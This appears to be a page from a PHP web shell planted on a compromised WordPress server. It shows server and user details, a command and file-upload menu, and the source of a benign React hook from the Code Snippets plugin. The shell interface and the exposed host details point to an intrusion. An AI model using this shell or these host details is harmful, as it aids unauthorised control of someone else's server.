Server IP : 168.119.101.163  /  Your IP : 216.73.217.54
Web Server : Apache/2
System : Linux web02.webzuiver.nl 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : equine ( 1027)
PHP Version : 8.1.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/equine/public_html/wp-content/plugins/code-snippets/js/hooks/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/equine/public_html/wp-content/plugins/code-snippets/js/hooks/useSnippetsList.tsx
import React, { useCallback, useEffect, useState } from 'react'
import { createContextHook } from '../utils/hooks'
import { isNetworkAdmin } from '../utils/screen'
import { useRestAPI } from './useRestAPI'
import type { PropsWithChildren } from 'react'
import type { Snippet } from '../types/Snippet'

export interface SnippetsListContext {
	snippetsList: readonly Snippet[] | undefined
	refreshSnippetsList: () => Promise<void>
}

const [SnippetsListContext, useSnippetsList] = createContextHook<SnippetsListContext>('SnippetsList')

export const WithSnippetsListContext: React.FC<PropsWithChildren> = ({ children }) => {
	const { snippetsAPI: { fetchAll } } = useRestAPI()
	const [snippetsList, setSnippetsList] = useState<Snippet[]>()

	const refreshSnippetsList = useCallback(async (): Promise<void> => {
		try {
			console.info('Fetching snippets list')
			const response = await fetchAll(isNetworkAdmin())
			setSnippetsList(response)
		} catch (error: unknown) {
			console.error('Error fetching snippets list', error)
		}
	}, [fetchAll])

	useEffect(() => {
		refreshSnippetsList()
			.catch(() => undefined)
	}, [refreshSnippetsList])

	const value: SnippetsListContext = {
		snippetsList,
		refreshSnippetsList
	}

	return <SnippetsListContext.Provider value={value}>{children}</SnippetsListContext.Provider>
}

export { useSnippetsList }